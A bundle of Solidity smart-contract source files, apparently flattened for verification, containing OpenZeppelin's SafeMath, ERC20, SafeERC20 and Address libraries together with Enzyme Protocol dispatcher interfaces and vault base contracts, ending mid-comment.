// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./ERC20.sol"; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IDispatcher Interface /// @author Enzyme Council <[email protected]> interface IDispatcher { function cancelMigration(address _vaultProxy, bool _bypassFailure) external; function claimOwnership() external; function deployVaultProxy( address _vaultLib, address _owner, address _vaultAccessor, string calldata _fundName ) external returns (address vaultProxy_); function executeMigration(address _vaultProxy, bool _bypassFailure) external; function getCurrentFundDeployer() external view returns (address currentFundDeployer_); function getFundDeployerForVaultProxy(address _vaultProxy) external view returns (address fundDeployer_); function getMigrationRequestDetailsForVaultProxy(address _vaultProxy) external view returns ( address nextFundDeployer_, address nextVaultAccessor_, address nextVaultLib_, uint256 executableTimestamp_ ); function getMigrationTimelock() external view returns (uint256 migrationTimelock_); function getNominatedOwner() external view returns (address nominatedOwner_); function getOwner() external view returns (address owner_); function getSharesTokenSymbol() external view returns (string memory sharesTokenSymbol_); function getTimelockRemainingForMigrationRequest(address _vaultProxy) external view returns (uint256 secondsRemaining_); function hasExecutableMigrationRequest(address _vaultProxy) external view returns (bool hasExecutableRequest_); function hasMigrationRequest(address _vaultProxy) external view returns (bool hasMigrationRequest_); function removeNominatedOwner() external; function setCurrentFundDeployer(address _nextFundDeployer) external; function setMigrationTimelock(uint256 _nextTimelock) external; function setNominatedOwner(address _nextNominatedOwner) external; function setSharesTokenSymbol(string calldata _nextSymbol) external; function signalMigration( address _vaultProxy, address _nextVaultAccessor, address _nextVaultLib, bool _bypassFailure ) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IExternalPosition Contract /// @author Enzyme Council <[email protected]> interface IExternalPosition { function getDebtAssets() external returns (address[] memory, uint256[] memory); function getManagedAssets() external returns (address[] memory, uint256[] memory); function init(bytes memory) external; function receiveCallFromVault(bytes memory) external; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IProtocolFeeReserve1 Interface /// @author Enzyme Council <[email protected]> /// @dev Each interface should inherit the previous interface, /// e.g., `IProtocolFeeReserve2 is IProtocolFeeReserve1` interface IProtocolFeeReserve1 { function buyBackSharesViaTrustedVaultProxy( uint256 _sharesAmount, uint256 _mlnValue, uint256 _gav ) external returns (uint256 mlnAmountToBurn_); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./VaultLibBaseCore.sol"; /// @title VaultLibBase1 Contract /// @author Enzyme Council <[email protected]> /// @notice The first implementation of VaultLibBaseCore, with additional events and storage /// @dev All subsequent implementations should inherit the previous implementation, /// e.g., `VaultLibBase2 is VaultLibBase1` /// DO NOT EDIT CONTRACT. abstract contract VaultLibBase1 is VaultLibBaseCore { event AssetWithdrawn(address indexed asset, address indexed target, uint256 amount); event TrackedAssetAdded(address asset); event TrackedAssetRemoved(address asset); address[] internal trackedAssets; mapping(address => bool) internal assetToIsTracked; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./VaultLibBase1.sol"; /// @title VaultLibBase2 Contract /// @author Enzyme Council <[email protected]> /// @notice The first implementation of VaultLibBase1, with additional events and storage /// @dev All subsequent implementations should inherit the previous implementation, /// e.g., `VaultLibBase2 is VaultLibBase1` /// DO NOT EDIT CONTRACT. abstract contract VaultLibBase2 is VaultLibBase1 { event AssetManagerAdded(address manager); event AssetManagerRemoved(address manager); event EthReceived(address indexed sender, uint256 amount); event ExternalPositionAdded(address indexed externalPosition); event ExternalPositionRemoved(address indexed externalPosition); event FreelyTransferableSharesSet(); event NameSet(string name); event NominatedOwnerRemoved(address indexed nominatedOwner); event NominatedOwnerSet(address indexed nominatedOwner); event ProtocolFeePaidInShares(uint256 sharesAmount); event ProtocolFeeSharesBoughtBack(uint256 sharesAmount, uint256 mlnValue, uint256 mlnBurned); event OwnershipTransferred(address indexed prevOwner, address indexed nextOwner); event SymbolSet(string symbol); // In order to make transferability guarantees to liquidity pools and other smart contracts // that hold/treat shares as generic ERC20 tokens, a permanent guarantee on transferability // is required. Once set as `true`, freelyTransferableShares should never be unset. bool internal freelyTransferableShares; address internal nominatedOwner; address[] internal activeExternalPositions; mapping(address => bool) internal accountToIsAssetManager; mapping(address => bool) internal externalPositionToIsActive; } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "./interfaces/IMigratableVault.sol"; import "./utils/ProxiableVaultLib.sol"; import "./utils/SharesTokenBase.sol"; /// @title VaultLibBaseCore Contract /// @author Enzyme Council <[email protected]> /// @notice A persistent contract containing all required storage variables and /// required functions for a VaultLib implementation /// @dev DO NOT EDIT CONTRACT. If new events or storage are necessary, they should be added to /// a numbered VaultLibBaseXXX that inherits the previous base. See VaultLibBase1. abstract contract VaultLibBaseCore is IMigratableVault, ProxiableVaultLib, SharesTokenBase { event AccessorSet(address prevAccessor, address nextAccessor); event MigratorSet(address prevMigrator, address nextMigrator); event OwnerSet(address prevOwner, address nextOwner); event VaultLibSet(address prevVaultLib, address nextVaultLib); address internal accessor; address internal creator; address internal migrator; address internal owner; // EXTERNAL FUNCTIONS /// @notice Initializes the VaultProxy with core configuration /// @param _owner The address to set as the fund owner /// @param _accessor The address to set as the permissioned accessor of the VaultLib /// @param _fundName The name of the fund /// @dev Serves as a per-proxy pseudo-constructor function init( address _owner, address _accessor, string calldata _fundName ) external override { require(creator == address(0), "init: Proxy already initialized"); creator = msg.sender; sharesName = _fundName; __setAccessor(_accessor); __setOwner(_owner); emit VaultLibSet(address(0), getVaultLib()); } /// @notice Sets the permissioned accessor of the VaultLib /// @param _nextAccessor The address to set as the permissioned accessor of the VaultLib function setAccessor(address _nextAccessor) external override { require(msg.sender == creator, "setAccessor: Only callable by the contract creator"); __setAccessor(_nextAccessor); } /// @notice Sets the VaultLib target for the VaultProxy /// @param _nextVaultLib The address to set as the VaultLib /// @dev This function is absolutely critical. __updateCodeAddress() validates that the /// target is a valid Proxiable contract instance. /// Does not block _nextVaultLib from being the same as the current VaultLib function setVaultLib(address _nextVaultLib) external override { require(msg.sender == creator, "setVaultLib: Only callable by the contract creator"); address prevVaultLib = getVaultLib(); __updateCodeAddress(_nextVaultLib); emit VaultLibSet(prevVaultLib, _nextVaultLib); } // PUBLIC FUNCTIONS /// @notice Checks whether an account is allowed to migrate the VaultProxy /// @param _who The account to check /// @return canMigrate_ True if the account is allowed to migrate the VaultProxy function canMigrate(address _who) public view virtual override returns (bool canMigrate_) { return _who == owner || _who == migrator; } /// @notice Gets the VaultLib target for the VaultProxy /// @return vaultLib_ The address of the VaultLib target function getVaultLib() public view returns (address vaultLib_) { assembly { // solium-disable-line vaultLib_ := sload(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc) } return vaultLib_; } // INTERNAL FUNCTIONS /// @dev Helper to set the permissioned accessor of the VaultProxy. /// Does not prevent the prevAccessor from being the _nextAccessor. function __setAccessor(address _nextAccessor) internal { require(_nextAccessor != address(0), "__setAccessor: _nextAccessor cannot be empty"); address prevAccessor = accessor; accessor = _nextAccessor; emit AccessorSet(prevAccessor, _nextAccessor); } /// @dev Helper to set the owner 